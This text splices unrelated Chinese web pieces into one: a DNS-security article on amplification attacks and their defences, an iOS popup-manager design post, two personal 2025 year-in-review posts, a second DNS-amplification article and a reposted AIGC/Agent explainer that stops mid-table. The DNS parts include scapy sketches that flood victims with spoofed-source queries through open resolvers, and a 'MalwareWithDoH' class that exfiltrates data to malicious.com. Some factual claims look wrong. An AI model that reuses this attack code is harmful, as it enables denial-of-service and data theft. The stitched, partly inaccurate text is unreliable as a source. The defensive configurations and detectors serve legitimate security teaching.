ANY记录 60字节 4000字节 67倍
DNSSEC 60字节 4000+字节 70+倍

3.2 僵尸网络的规模化攻击

class DDoSBotnet:
    def __init__(self, bot_count=10000):
        self.bots = self.load_bots(bot_count)
        self.open_dns_servers = self.scan_open_resolvers()
    
    def launch_amplification_attack(self, victim_ip):
        # 每个僵尸执行
        for bot in self.bots:
            # 选择放大倍数最高的记录类型
            record_type = self.select_optimal_record()
            
            # 构造伪造请求
            query = DNS(
                id=random.randint(0, 65535),
                qd=DNSQR(qname=self.target_domain, qtype=record_type)
            )
            
            # 发送到多个开放DNS服务器
            for dns_server in self.open_dns_servers[:10]:
                spoofed_packet = IP(
                    src=victim_ip,  # 伪造源地址
                    dst=dns_server
                )/UDP(sport=random_port(), dport=53)/query
                
                bot.send(spoofed_packet)
        
        # 计算总攻击流量
        total_traffic = self.calculate_amplification()
        print(f"理论最大流量:{total_traffic/1e9:.2f} Gbps")

3.3 史上最大攻击:Dyn DNS事件分析

2016年10月21日,针对Dyn DNS服务的攻击:

攻击参数:
  峰值流量: 1.2 Tbps
  持续时间: 持续多波,每波约1小时
  攻击源: 10-100万台IoT设备组成的Mirai僵尸网络
  放大载体: 开放DNS递归服务器 + NTP放大
  受影响服务:
    - Twitter: 全球中断2小时
    - GitHub: 服务严重降级
    - Netflix: 美国东海岸用户无法访问
    - 纽约时报、华尔街日报等: 访问困难
  
技术细节:
  1. 攻击组合: DNS放大 + NTP放大 + SYN Flood
  2. 查询类型: 主要使用ANY和TXT记录
  3. 伪造技术: 源地址随机化,难以追踪
  4. 躲避策略: 动态更换攻击目标和服务

四、现代DNS威胁演进

4.1 DoH/DoT的新型威胁

DNS over HTTPS (DoH) 的安全悖论

// DoH虽然加密,但引入新问题
const dohThreats = {
    // 1. 中心化风险
    centralization: {
        providers: ['Cloudflare', 'Google', 'Quad9'],
        risk: '单点故障,隐私集中'
    },
    
    // 2. 企业监控困难
    enterprise: {
        issue: '绕过公司DNS策略',
        example: '恶意软件使用DoH外联C2服务器'
    },
    
    // 3. 协议识别问题
    detection: {
        challenge: 'DoH流量与普通HTTPS难以区分',
        solution: '深度包检测(DPI)'
    }
};

// 恶意软件利用DoH的示例
class MalwareWithDoH {
    async exfiltrateData(data) {
        // 使用DoH隐藏DNS查询
        const dohUrl = 'https://cloudflare-dns.com/dns-query';
        const query = btoa(JSON.stringify(data));
        
        // 将数据编码在DNS查询中
        const response = await fetch(`${dohUrl}?name=${query}.malicious.com`);
        
        // 攻击者DNS服务器解析查询,提取数据
        return response.ok;
    }
}

4.2 子域名劫持攻击

class SubdomainTakeover:
    def find_vulnerable_subdomains(self, domain):
        # 1. 枚举所有子域名
        subdomains = self.enumerate_subdomains(domain)
        
        vulnerable = []
        for sub in subdomains:
            # 2. 检查DNS记录但无主机服务的情况
            dns_record = self.resolve_dns(sub)
            
            if dns_record and self.check_service_status(sub) == 'no_host':
                # 3. 常见易受攻击服务
                if dns_record['type'] in ['CNAME', 'NS']:
                    target = dns_record['value']
                    
                    # 4. 检查是否可以接管
                    if self.can_takeover(target):
                        vulnerable.append({
                            'subdomain': sub,
                            'record_type': dns_record['type'],
                            'target': target,
                            'risk': self.assess_risk(sub)
                        })
        
        return vulnerable

# 攻击示例:接管Heroku应用
# 1. 公司配置:help.example.com CNAME -> help.herokuapp.com
# 2. 公司删除了Heroku应用,但忘记删除DNS记录
# 3. 攻击者注册help.herokuapp.com
# 4. 所有访问help.example.com的用户到达攻击者页面

4.3 量子计算对DNS安全的威胁

未来的威胁

class QuantumDNSThreat:
    def quantum_dns_attack(self, encrypted_traffic):
        # 量子计算机可以破解当前加密算法
        algorithms_vulnerable = {
            'RSA-2048': '易受Shor算法攻击',
            'ECC-256': '易受Shor算法攻击',
            'AES-256': '需Grover算法,但可增强密钥'
        }
        
        # 对DNSSEC的影响
        dnssec_vulnerabilities = [
            'RSA签名可被伪造',
            '密钥交换可能被截获',
            '需要后量子密码学'
        ]
        
        # 防御策略
        defenses = {
            '当前': 'DNSSEC + TLS 1.3',
            '过渡': '混合加密(经典+量子安全)',
            '未来': '后量子密码学标准'
        }

五、全面防御策略

5.1 多层次防御体系

graph TB
    A[用户层] --> B{防御措施}
    B --> C[使用DoH/DoT]
    B --> D[定期检查Hosts文件]
    B --> E[保持软件更新]
    
    F[应用层] --> G{防御措施}
    G --> H[实现DNSSEC验证]
    G --> I[使用证书锁定]
    G --> J[多CDN策略]
    
    K[网络层] --> L{防御措施}
    L --> M[部署BCP38]
    L --> N[DNS防火墙]
    L --> O[流量清洗中心]
    
    P[DNS运营者] --> Q{防御措施}
    Q --> R[关闭开放递归]
    Q --> S[实施RRL]
    Q --> T[DNSSEC部署]

5.2 技术实现代码

DNSSEC验证实现

import dns.resolver
import dns.dnssec
import dns.rdatatype

class DNSSECValidator:
    def validate_with_dnssec(self, domain):
        try:
            # 1. 获取DNSKEY记录
            dnskey_response = dns.resolver.resolve(domain, 'DNSKEY')
            
            # 2. 获取RRSIG记录
            rrsig_response = dns.resolver.resolve(domain, 'RRSIG')
            
            # 3. 验证签名链
            dns.dnssec.validate(
                dnskey_response.rrset,
                rrsig_response.rrset,
                {domain: dnskey_response.rrset}
            )
            
            print(f"✓ {domain} DNSSEC验证通过")
            return True
            
        except dns.dnssec.ValidationFailure as e:
            print(f"✗ {domain} DNSSEC验证失败: {e}")
            return False
        except dns.resolver.NoAnswer:
            print(f"? {domain} 未配置DNSSEC")
            return None

DNS防火墙规则示例

# 使用iptables构建DNS防火墙
#!/bin/bash

# 1. 基础防护
iptables -A INPUT -p udp --dport 53 -m state --state NEW -m recent \
  --set --name dnsquery --rsource

# 2. 限制查询频率
iptables -A INPUT -p udp --dport 53 -m state --state NEW -m recent \
  --update --seconds 1 --hitcount 5 --name dnsquery --rsource -j DROP

# 3. 阻止ANY查询攻击
iptables -A INPUT -p udp --dport 53 -m string \
  --algo bm --hex-string "|00ff0001|" -j DROP

# 4. 响应速率限制(使用DNS服务器功能)
# BIND配置:
# rate-limit {
#   responses-per-second 10;
#   slip 2;
#   window 5;
# };

# 5. 监控和报警
iptables -A INPUT -p udp --dport 53 -j LOG \
  --log-prefix "DNS-Query: " --log-level 6

5.3 企业级防护架构

class EnterpriseDNSProtection:
    def __init__(self):
        self.components = {
            'dns_firewall': DNSFirewall(),
            'traffic_analyzer': TrafficAnalyzer(),
            'threat_intel': ThreatIntelligence(),
            'automated_response': AutoResponder()
        }
    
    def protect_network(self):
        # 1. 实时流量分析
        while True:
            packet = capture_packet()
            
            # 2. DNS特定检测
            if packet.haslayer(DNS):
                threat_score = self.analyze_dns_packet(packet)
                
                # 3. 威胁情报匹配
                if self.threat_intel.check_ioc(packet):
                    self.block_and_alert(packet)
                
                # 4. 行为分析
                elif threat_score > self.threshold:
                    self.rate_limit_or_block(packet)
                
                # 5. 学习模式
                else:
                    self.update_baseline(packet)
    
    def analyze_dns_packet(self, packet):
        score = 0
        
        # 检测指标
        indicators = {
            'query_length': len(packet[DNS].qd.qname),
            'query_type': packet[DNS].qd.qtype,
            'response_size': len(packet) if packet[DNS].qr else 0,
            'client_history': self.get_client_history(packet[IP].src),
            'domain_reputation': self.check_domain_reputation(packet[DNS].qd.qname)
        }
        
        # 评分规则
        if indicators['query_type'] == 255:  # ANY查询
            score += 20
        
        if indicators['response_size'] > 2000:  # 大响应
            score += 15
        
        if indicators['domain_reputation'] == 'malicious':
            score += 50
        
        return score

5.4 个人用户防护指南

# 个人DNS安全自查清单

## 立即检查项目
- [ ] 路由器管理员密码是否已修改(不要使用admin/admin)
- [ ] 路由器固件是否最新版本
- [ ] 电脑Hosts文件是否被异常修改
- [ ] 是否使用可靠的DNS服务器(如8.8.8.8, 1.1.1.1)

## 浏览器安全设置
1. Chrome/Firefox: 启用DoH
2. 使用HTTPS Everywhere扩展
3. 禁用不安全的插件

## 网络习惯
- 避免连接公共Wi-Fi进行敏感操作
- 定期检查银行账户异常
- 对异常重定向保持警惕

## 工具推荐
- DNSLeakTest.com: 检测DNS泄露
- GRC DNS Benchmark: 测试DNS性能和安全
- Wireshark: 高级用户网络分析

六、未来展望:DNS安全的演进

6.1 新技术标准

正在发展的标准

1. DNS over QUIC (DoQ)
   - 结合QUIC协议的优点
   - 更好的连接迁移和丢包恢复

2. Oblivious DNS over HTTPS (ODoH)
   - 添加代理层,隐藏用户身份
   - 解决DoH的中心化隐私问题

3. 后量子DNS安全
   - NIST后量子密码学竞赛获胜者
   - 抗量子计算的DNSSEC

6.2 人工智能在DNS安全中的应用

class AIDNSDefender:
    def __init__(self):
        self.model = self.train_ai_model()
    
    def train_ai_model(self):
        # 使用历史攻击数据训练
        features = [
            'query_frequency',
            'response_amplification',
            'domain_entropy',
            'geographic_anomaly',
            'temporal_pattern'
        ]
        
        # 深度学习检测
        model = Sequential([
            Dense(128, activation='relu', input_shape=(len(features),)),
            Dropout(0.3),
            Dense(64, activation='relu'),
            Dense(32, activation='relu'),
            Dense(1, activation='sigmoid')  # 攻击概率
        ])
        
        return model
    
    def realtime_detection(self, dns_traffic):
        predictions = self.model.predict(dns_traffic)
        
        # 自适应阈值
        threshold = self.calculate_dynamic_threshold()
        
        attacks_detected = predictions > threshold
        
        # 自动化响应
        for i, is_attack in enumerate(attacks_detected):
            if is_attack:
                self.trigger_response(dns_traffic[i])

总结:构建深度防御体系

DNS安全不是单一技术能解决的问题,而是需要多层次、多维度的防御

  1. 协议层:DNSSEC、DoH/DoT、响应速率限制
  2. 网络层:BCP38、流量清洗、防火墙规则
  3. 应用层:证书锁定、CSP策略、子域名监控
  4. 用户层:安全意识、安全工具、良好习惯

记住:攻击者只需要找到一个漏洞,而防御者需要保护整个系统。DNS安全是一场持续的战斗,需要技术、策略和警惕性的结合。

随着新技术(如量子计算、5G、物联网)的发展,DNS攻击面只会越来越大。但只要我们持续学习、适应和创新,就能在这个不断变化的威胁环境中保持安全。

一个管理项目中所有弹窗的弹窗管理器(PopupManager)

文章贴图需求.png

基于什么原因 PopupManager 的产生?

现在有这么一个业务需求,需要在某个界面或者在 window 上面添加一个弹窗。这个时候在你的大脑中你会想到怎么样的实现方案呢?欢迎在下面的评论区说出你的方案。期待你们的回答😁
后面在需求迭代的过程中,在同一个界面就会出现不止一个弹窗的时候。这个时候你又会怎么处理这些弹窗的弹出顺序呢?欢迎在下面的评论区说出你的方案。期待你们的回答😁

改造之前的实现方式

单一的弹窗,我们就是直接通过自定义View 然后在当前的控制器弹出或者获取keyWindow 然后添加弹窗。
多弹窗的时候就会通过一堆的 BOOL 值做标志,然后在弹出之前做了一堆的逻辑判断,来判断当前应该弹出某一个弹窗。
这样的实现方式,对于一个人一直负责的业务可能会实现起来简单一些,但是在人员交替的时候,会让后面的人对逻辑代码产生很多困惑。所以我们就在想这个要怎么去做一些改造。

改造

我们一开始的思路就是项目中的所有弹窗都由一个单例来控制,把所有需要添加的弹窗存放在一个数组中,在需要弹出的时候取出第一个弹窗,然后统一的在 keyWindow 上添加。如果已经有弹窗的时候,就会不会添加弹窗。

遇到的问题---1.弹窗显示的在哪个界面

首先把弹窗都添加在 keyWindow 上的时候,有的业务逻辑是不需要的。所以我们就增加了一个targetViewControllerClasses 的属性,用来告诉管理器,你是要在哪个控制器显示弹窗。这样,每一个弹窗就有了自己应该显示的控制器。

遇到的问题---2.弹窗有可能会有显顺序的调整

这个出现的时机是因为,项目中弹窗的数据都是后台给的,但是会分布在不同的接口返回的。如果是统一接口那么可以用数据返回的顺序来控制弹出的顺序,但是这样的方案明显是不实际的。后面在再看了很多成熟的方案后,我们也和后台商量对项目中的所有弹窗增加优先级的属性。
我们就一开始存储弹窗的数组进行逻辑调整,对数组中的数据基于优先级的大小做了从大到小的排序,这样就可以优先弹出啊优先级高的弹窗,如果优先级相同的时候就是看先进入数组的会先弹出。这样就保证了项目中的一个简单需求。

示例

自己实现的弹窗都要遵循我们的<PopupProtocol>协议,那么现在做个简单示例。

PopupView *popupViewFirst1 = [[PopupView alloc] initWithPopupPriority:5 message:@"等待的弹窗 优先级为5"];
[PopupManager.sharedManager addPopupView:popupViewFirst1];

传送门github.com/cAibDe/Popu…

2025年总结

TODO

一如既往,主要在工具链领域耕耘。但由于工作忙碌在opensource社区投入的时间减少了。

Blogging

不包括这篇总结,一共写了18篇文章。

llvm-project

  • 翻新了integrated assembler,写了4篇相关的blog posts: https://maskray.me/blog/tags/assembler/

  • Reviewednumerous patches. queryis:pr created:>2025-01-01 reviewed-by:MaskRay => "989Closed"

Linux kernel

贡献了两个commits,被引用了一次。

ccls

  • clang.prependArgs
  • 支持了LLVM 21和22

ELF specification

尝试推进compactsection header table,没有取得共识。 一些成员希望采用generalcompression (likezstd)的方式,像SHF_COMPRESSED那样压缩section headertable。包括我在内的另一些人不喜欢采用general compression。

Misc

Reported 6 feature requests or bugs to binutils.

  • ld --build-id does not use symtab/strtab content
  • gas: monolithic .sframe violates COMDAT group rule
  • gas: Clarify whitespace between a label's symbol and its colon
  • ld: Add --print-gc-sections=file
  • ld riscv: Relocatable linking challenge with R_RISCV_ALIGN
  • ld: add --why-live

旅行

  • 第一次去:台南、西安、兰州、天水、Sacramento、Puerto Vallarta,Jalisco, Mexico、Mazatlán, Sinaloa, Mexico
  • 曾经去过:台北(上一次是近11年前)、北京

2025

工作

今年是神奇的一年。

年中离开了字节,出来试试。感谢字节,字节的组织文化已经是很好,但目前看起来任何文化都架不住人多带来的各种问题。AI 快速发展,想换个方式试试。

1月用上了 devin,这是首次接触 Agent,确实是被它震惊了,给一个任务能像人一样一直找解决方案解决问题,大模型有这么强的理解推理能力,当时我的日记就写了“被 Agent 统治的未来不远了”。可惜了 devin 因为定位和产品能力等问题没有出圈和发展,到了3月 manus 把它发扬光大,Agent 成为 AI 世界重要一环。模型能力到了,市场需要AI落地,Agent 又能让现存庞大的工程师人群集体参与建设,让市场很热闹,很多变化在持续发生,参与其中很有意思。

AI Coding 去年刚接触时也被震惊到,今年真正有机会大量用它,太爽了,以前写代码还有很多不得不做的脏活累活,现在完全没有了,只剩创造的快乐,确实彻底改变了程序员行业,改变了人才的定义,这个变化估计在接下来几年还会剧烈演进。

创业带来的纯粹做事的环境、持续出现新鲜事物的市场、AI Coding的助力,让我有了过去十年以来最好的工作状态,不会在工作日想着什么时候周末,而是周末跟工作日没什么区别,上一次有这种感觉还要追溯到刚毕业那几年,很忙但很舒适,创造性的工作本身就是奖励,有很多新的体验,感受很好。

每一波市场热潮下都会有各种喧嚣、情绪,希望接下来一年继续做到享受过程,保持好的心态和状态,做出点东西来。

旅游

今年去了美国(出差)、日本大阪/神户、新西兰、桂林。

第三次去美国了,三次都是去西部,每次都还是会感叹美西自然条件真是好,这次去了太浩湖,雪山和清澈的湖,很美,回来时一路过萨克拉门托和一些不知名地方,大片草地、农田、风车也是非常漂亮壮观,舒适的天气、有大海、雪山、草原、各种地形,不愧是户外运动的天堂,湾区人民的生活真是好。

新西兰二大二小自驾,体验很好,风景上感觉跟美国西部有点像,到处大片农场草原,雪山,以及欧美人的文化气息,不同的是多了很多非常美的湖。在这之前我去过最漂亮的景色在新疆喀纳斯,而新西兰南岛到处是喀纳斯那种清澈青蓝的湖,确实很美,世外桃源,不过新西兰景色很看天气,有两天阴天就很一般。

日本主要带娃去马里奥乐园,感受还好,就是人太多了得早起赶第一趟,每个项目基本得排队一两个小时,马里奥主题乐园挺有趣,要是有塞尔达就更好了。有点遗憾的是没有提前准备好约上任天堂博物馆,以后再去了。最后一天去了下大阪博物馆,日本不愧是手办的祖师爷,精致的代表,博物馆非常多古代建筑人物模型手办,十分推荐。

其他

今年不写那么多了,总的来说过得比较满意,期望明年保持。

扩展了解DNS放大攻击:原理、影响与防御

什么是DNS放大攻击?

DNS放大攻击(DNS Amplification Attack)是一种分布式拒绝服务攻击(DDoS)的变种,攻击者利用DNS协议的查询-响应不对称性开放DNS服务器,通过发送小型请求来触发大量响应的攻击方式。


攻击原理:三要素结合

1. 放大效应(Amplification)

DNS查询和响应的大小差异创造了放大倍数:

请求: "example.com的IP是多少?"  (约60字节)
响应: "example.com的IP是...还有很多其他信息" (可达4000+字节)

放大倍数 = 响应大小 / 请求大小 典型放大倍数:10-50倍,某些情况下可达100倍以上。

2. IP地址欺骗(IP Spoofing)

攻击者伪造源IP地址:

正常: 攻击者IP → DNS服务器 → 攻击者IP
攻击: 伪造受害者IP → DNS服务器 → 受害者IP

3. 开放DNS递归服务器(Open Recursive Resolvers)

允许任何人查询的DNS服务器(本应只服务特定网络)。


攻击过程详解

sequenceDiagram
    participant A as 攻击者 (Attacker)
    participant B as 被控僵尸设备 (Botnet)
    participant D as 开放式DNS解析器 (放大器)
    participant V as 目标受害者 (Victim)

    Note over A, V: 攻击准备阶段
    A->>B: 控制大量僵尸设备(Botnet)
    A->>D: 侦察:寻找可滥用的开放式解析器
    
    Note over A, V: 攻击执行阶段(核心放大过程)
    A->>B: 指令:伪造源IP为V的地址,<br>向D发送小型DNS查询请求
    B->>D: 小型查询请求(如60字节)
    Note over D: DNS服务器处理查询,<br>并返回大型响应(如4000字节)
    D-->>V: 将大型响应发送至伪造的源IP(受害者V)
    
    Note over A, V: 攻击影响
    loop 海量流量持续涌向V
        D-->>V: 超大规模UDP响应数据包
    end
    Note right of V: 受害者网络带宽被耗尽<br>(服务瘫痪)

步骤分解

graph LR
    A[攻击者] -->|1. 伪造受害者IP| B[DNS查询]
    B -->|2. 发送小查询| C[开放DNS服务器]
    C -->|3. 执行递归查询| D[权威DNS服务器]
    C -->|4. 返回大响应| E((受害者))
    E -->|流量淹没| F[受害者服务瘫痪]

实际攻击示例

# 攻击者视角的简化流程
def dns_amplification_attack(victim_ip, dns_server, domain):
    # 1. 构造小的DNS查询数据包
    dns_query = create_dns_query(domain, record_type="ANY")
    # 大小: ~60字节
    
    # 2. 伪造源IP为受害者IP
    spoofed_packet = IP(src=victim_ip, dst=dns_server) / UDP() / dns_query
    
    # 3. 大量发送(使用僵尸网络)
    for _ in range(100000):
        send(spoofed_packet)
    
    # DNS服务器响应:~4000字节 × 100000 = 400MB流量涌向受害者

为什么DNS容易成为攻击目标?

技术原因

  1. 协议设计缺陷

    • DNS使用无连接的UDP协议,易于伪造源地址
    • 缺乏源地址验证机制
  2. 响应数据量大

    # 查询ANY记录会返回所有类型记录
    查询: example.com ANY
    
    响应可能包含:
    - A记录 (IPv4地址)
    - AAAA记录 (IPv6地址)
    - MX记录 (邮件服务器)
    - TXT记录 (文本信息)
    - NS记录 (域名服务器)
    - SOA记录 (起始授权)
    - CNAME记录 (别名)
    - 等等...
    
  3. 开放递归服务器

    • 全球有数百万台配置不当的DNS服务器
    • 缺乏访问控制

放大倍数对比

记录类型 查询大小 响应大小 放大倍数
A记录 60字节 约100字节 1.7倍
ANY记录 60字节 4000+字节 67倍
TXT记录 60字节 3000+字节 50倍
DNSSEC 60字节 可超过4000字节 67+倍

真实案例:史上最大的DDoS攻击

2013年:Spamhaus攻击

  • 峰值流量: 300 Gbps
  • 持续时间: 多日
  • 放大倍数: 最高100倍
  • 攻击方式: 利用开放DNS递归服务器
  • 影响: 几乎瘫痪欧洲互联网基础设施

2016年:Dyn攻击

  • 目标: Dyn DNS服务商(为Twitter、GitHub等提供服务)
  • 峰值流量: 1.2 Tbps
  • 攻击源: Mirai僵尸网络 + DNS放大
  • 影响: 大半个美国东海岸无法访问主要网站

防御措施:多层次防御

1. DNS服务器运营者

关闭开放递归

# BIND DNS服务器配置示例
options {
    # 仅允许本地网络查询
    allow-query { 
        localhost; 
        192.168.0.0/16;  # 内部网络
    };
    
    # 限制递归查询
    allow-recursion {
        localhost;
        192.168.0.0/16;
    };
    
    # 启用响应速率限制
    rate-limit {
        responses-per-second 10;
        window 5;
    };
}

实施响应策略

# 伪代码:DNS服务器防护逻辑
class DNSServerProtection:
    def handle_query(self, query, client_ip):
        # 1. 检查查询频率
        if self.is_rate_limited(client_ip):
            return self.rate_limit_response()
        
        # 2. 限制ANY查询
        if query.type == "ANY":
            # 返回最小必要信息,或拒绝
            return self.minimal_response(query)
        
        # 3. 检查查询大小
        if len(query.data) < self.MIN_QUERY_SIZE:
            # 可能是攻击包
            return self.drop_query()
        
        # 4. 验证源地址(BCP38)
        if not self.validate_source_ip(client_ip, query.src_port):
            return self.drop_query()
        
        # 正常处理
        return self.process_query(query)

2. 网络运营商

实施BCP38(源地址验证)

# 边界路由器配置(Cisco示例)
interface GigabitEthernet0/0
 ip verify unicast source reachable-via rx  # 启用源地址验证

部署流量清洗中心

graph TD
    A[攻击流量] --> B[运营商网络]
    B --> C{检测系统}
    C -->|正常流量| D[目标服务器]
    C -->|攻击流量| E[清洗中心]
    E --> F[过滤后流量] --> D
    E --> G[丢弃恶意流量]

3. 应用开发者/网站所有者

使用CDN服务

// Cloudflare等CDN提供自动DDoS防护
// DNS配置示例
const dnsConfig = {
    "type": "CNAME",
    "name": "www.example.com",
    "content": "example.com.cdn.cloudflare.net",
    "proxied": true,  // 启用代理(流量经过清洗)
    "ttl": 300
};

多DNS提供商策略

# 使用多个DNS提供商分散风险
class ResilientDNS:
    def __init__(self):
        self.providers = [
            '8.8.8.8',      # Google DNS
            '1.1.1.1',      # Cloudflare DNS
            '208.67.222.222'# OpenDNS
        ]
    
    def resolve_with_fallback(self, domain):
        for dns_server in self.providers:
            try:
                ip = self.query_dns(domain, dns_server)
                if ip:
                    return ip
            except TimeoutError:
                continue
        raise DNSResolutionError("所有DNS服务器均失败")

4. 普通用户/设备所有者

防止设备成为僵尸网络

# 检查路由器是否安全
# 1. 更改默认密码
# 2. 禁用UPnP(如果不需要)
# 3. 更新固件
# 4. 关闭WAN口管理

# 检查IoT设备
nmap -sU -p 53 <device-ip>  # 检查是否开放DNS服务

检测与监控

攻击特征识别

class DnsAmplificationDetector:
    ATTACK_SIGNATURES = {
        'high_udp_53_traffic': {
            'threshold': 1000,  # 包/秒
            'action': 'alert'
        },
        'spoofed_dns_queries': {
            'detection': '检查源IP是否属于本地网络',
            'action': 'block'
        },
        'any_query_flood': {
            'threshold': 100,   # ANY查询/秒
            'action': 'rate_limit'
        }
    }
    
    def analyze_traffic(self, packets):
        stats = {
            'dns_query_count': 0,
            'dns_response_count': 0,
            'query_response_ratio': 0,
            'any_query_count': 0
        }
        
        for packet in packets:
            if packet.haslayer(DNS):
                if packet.dport == 53:  # DNS查询
                    stats['dns_query_count'] += 1
                    if packet[DNS].qd.qtype == 255:  # ANY类型
                        stats['any_query_count'] += 1
                elif packet.sport == 53:  # DNS响应
                    stats['dns_response_count'] += 1
        
        # 计算放大比
        if stats['dns_query_count'] > 0:
            stats['query_response_ratio'] = (
                stats['dns_response_count'] / stats['dns_query_count']
            )
        
        return self.evaluate_threat(stats)

监控指标

关键监控指标:
1. DNS查询/响应比例 > 10:1
2. ANY查询占比 > 5%
3. 来自单个IP的DNS查询 > 1000/秒
4. 响应包大小 > 1000字节
5. 伪造源地址的查询数量

未来趋势与新兴防御

DNS over TLS/HTTPS

# DNS over TLS (DoT)
使用端口853,加密DNS查询
# DNS over HTTPS (DoH)
使用HTTPS协议,完全加密

# 配置示例(Cloudflare DoH)
https://cloudflare-dns.com/dns-query?name=example.com&type=A

协议改进

DNS协议扩展:
1. DNS Cookies (RFC 7873)
   - 客户端和服务器交换"曲奇"验证
   - 防止源地址伪造

2. 0x20编码
   - 随机化查询中的字母大小写
   - 服务器验证响应使用相同大小写

3. 响应速率限制 (RRL)
   - 限制相同响应的发送频率

区块链DNS

// 概念:去中心化DNS防止单点故障
contract DecentralizedDNS {
    mapping(string => string) public records;
    
    function setRecord(string memory domain, string memory ip) public {
        require(msg.sender == owner[domain], "Not owner");
        records[domain] = ip;
    }
    
    function query(string memory domain) public view returns (string memory) {
        return records[domain];
    }
}

总结与建议

关键要点

  1. DNS放大攻击利用协议特性:UDP无连接 + 响应大于查询
  2. 攻击三要素:放大效应 + IP欺骗 + 开放递归服务器
  3. 防御需多层次:从协议、网络到应用层全面防护

立即行动项

  • DNS运营者:关闭开放递归,实施速率限制
  • 网络运营商:部署BCP38,建立清洗中心
  • 开发者:使用CDN,实施多DNS策略
  • 用户:保护设备,更新软件

长期策略

  1. 推动DNS-over-TLS/HTTPS普及
  2. 支持新的DNS安全扩展
  3. 建立全球协作的威胁情报共享

DNS放大攻击揭示了互联网基础设施的脆弱性,但也推动了网络安全技术的进步。通过技术改进和全球协作,我们可以构建更安全的网络环境。

[转载] 一文吃透AIGC、Agent、MCP的概念和关系

Title: 彻底爆了!一文吃透AIGC、Agent、MCP的概念和关系-腾讯云开发者社区-腾讯云

原文地址

导语: 近年来,人工智能 领域涌现出许多新概念和新技术,其中AIGC、MCP和 Agent 成为了业界和学术界的热门话题。本文将深入浅出地介绍这三个概念,帮助读者全面理解它们的内涵、区别与联系,以及在实际应用中的价值。

AIGC


AIGC,全称为 AI Generated Content,意为“人工智能生成内容”。它指的是利用人工智能技术(尤其是大模型,如GPT、Stable Diffusion 等)自动生成文本、图片、音频、视频等多种内容的过程。2022 年 11 月 30 日,OpenAI 的 ChatGPT 正式上线(基于 GPT-3.5),引爆了 AIGC 热潮。

Image 1

多模态技术

  • 单模态: 只处理一种类型的数据,比如只处理文本(如GPT-3.5)、只处理图像(如图像识别模型)。
  • 多模态: 能够同时处理两种及以上类型的数据。例如,既能理解图片内容,又能理解文本描述,甚至还能结合音频、视频等信息进行综合分析和生成。对应的场景有。
场景 主流模型
文生图片 DALL-E(OpenAI)、Imagen(Google)、Stable Diffusion(Stability AI)、混元文生图(腾讯)等
文生视频 Sora(OpenAI)、Stable Video Diffusion(Stability AI)
图生文(图片理解) GPT-4V(OpenAI)、Gemini(Google)、Qwen-VL(阿里)
图文生视频 Runway Gen-2(Runway AI)、Stable Video Diffusion(Stability AI)
视频生文(视频理解) Gemini 1.5 / Gemini Pro Vision(Google)

RAG 技术

RAG(Retrieval-Augmented Generation,检索增强生成) 技术,是一种将信息检索(IR) 与大型语言模型(LLM) 的文本生成能力相结合的人工智能框架。其核心思想是:当 LLM 需要回答一个问题或生成文本时,不是仅依赖其内部训练时学到的知识,而是先从一个外部知识库中检索出相关的信息片段,然后将这些检索到的信息与原始问题/指令一起提供给LLM,让LLM基于这些最新、最相关的上下文信息来生成更准确、更可靠、更少幻觉的答案。

大型语言模型虽然拥有海量的知识和强大的语言理解与生成能力,但也存在一些关键限制:

  1. 知识局限性/过时性: LLM 的知识主要来源于其训练数据截止日期之前的信息。对于训练数据之后发生的事件、新研究、最新数据或特定领域的细节,LLM 可能不知道或给出过时的信息。
  2. 幻觉: 当 LLM 遇到其知识库中不明确或不存在的信息时,它可能会“捏造”出看似合理但事实上错误或不存在的答案。
  3. 缺乏来源/可验证性: LLM 通常无法提供其生成答案的具体来源依据,使得验证答案的准确性变得困难。
  4. 特定领域知识不足: 通用 LLM 可能缺乏对某个特定公司、组织或个人私有知识库的深入了解。

RAG 正是为了解决这些问题而诞生的。

Image 2: 图片

智能体 Agent


“智能体”(Agent)在计算机科学和人工智能领域指的是一个能够感知环境、自主决策并采取行动以实现特定目标的实体或系统。 它可以是软件程序、机器人硬件,甚至是生物实体(如人类或动物),但在 AI 领域通常指软件智能体。

Agent 和 AIGC 最大的区别:

  1. AIGC 主要以生成式任务为主,而 Agent 是可以通过自主决策能力完成更多通用任务的智能系统。
  2. 常见的 AIGC 系统(文生文,文生图)的核心就是一个生成模型,而 Agent 是一个集Function Call 模型(下文会详细介绍)、软件工程 于一体的复杂的系统,需要处理模型和外界的信息交互。
  3. Agent 可以集成 AIGC 能力完成某些特定的任务,也就是 AIGC 可以是 Agent 系统里面的一个子模块。

Agent 最大的特点是,借助Function Call 模型,可以自主决策使用外接的一些工具来完成特定的任务。

Function Call 模型

什么是 Fucntion Call 模型

Function Calling(函数调用) 是大型语言模型的关键技术。前面有提到过RAG技术是为了解决模型无法和外接数据交互的问题,但是RAG的局限在于只赋予了模型检索数据的能力,而Function Calling允许模型理解用户请求中的潜在意图,并自动生成结构化参数来调用外部任何函数/工具,从而突破纯文本生成的限制,实现与真实世界的交互,比如可以调用查天气、发邮件、数学计算等工具。

Function Call 模型最早由 OpenAI 在 2023 年 6 月 13 正式提出并发布,首次在 GPT-4 模型上实现了 Function Calling 能力。OpenAI 作为大语言模型的领路人,其发布的模型的 API 协议都会行业标准,后面国内外新发布模型都会按照 OpenAI 的协议作为标准实现。截止目前,支持 Fucntion Calling 能力的主流模型如下表:

模型 开发者 首次支持 Function Calling 时间
GPT-4 OpenAI 2023/06/13
Claude-3 Anthropic 2024/03/04
Gemini-2.0 Google 2024/12
DeepSeek-R1 深度求索公司 2024/02/12

除了上面的知名度高的模型,还有一些其他开源或闭源模型也支持了 Fucntion Calling 能力,但是截止目前为止,GPT-4 仍然是公认的 Fucntion Calling 能力最强的模型。

工作原理:三步闭环流程

Function Call 模型的工作流程如下图:

Image 3

步骤详解:

1、定义函数(开发者预设)

向 LLM 描述函数的用途、输入参数格式(JSON Schema),例如:

1
2
3
4
5
6
7
8
9
10
11
12
{
"name": "get_current_weather",
"description": "获取指定城市的天气",
"parameters": {
"type": "object",
"properties": {
"city": {"type": "string", "description": "城市名称"},
"unit": {"enum": ["celsius", "fahrenheit"]}
},
"required": ["city"]
}
}
  • name 是工具名称
  • description 是这个工具的用途
  • parameters 是这个工具需要的输入参数

2、模型决策与生成参数

用户提问:“北京今天需要带伞吗?”

→ LLM 识别意图需调用 get_current_weather

→ 生成结构化参数:

1
{"city": "北京", "unit": "celsius"}

3、执行函数 & 返回结果

  • 程序调用天气API,获真实数据:{"temp": 25, "rain_prob": 30%}
  • 将结果交回LLM,生成最终回复:“北京今天25°C,降水概率30%,建议带伞。”

核心优势:LLM 的“手和眼睛”

能力 传统LLM 支持Function Calling的LLM
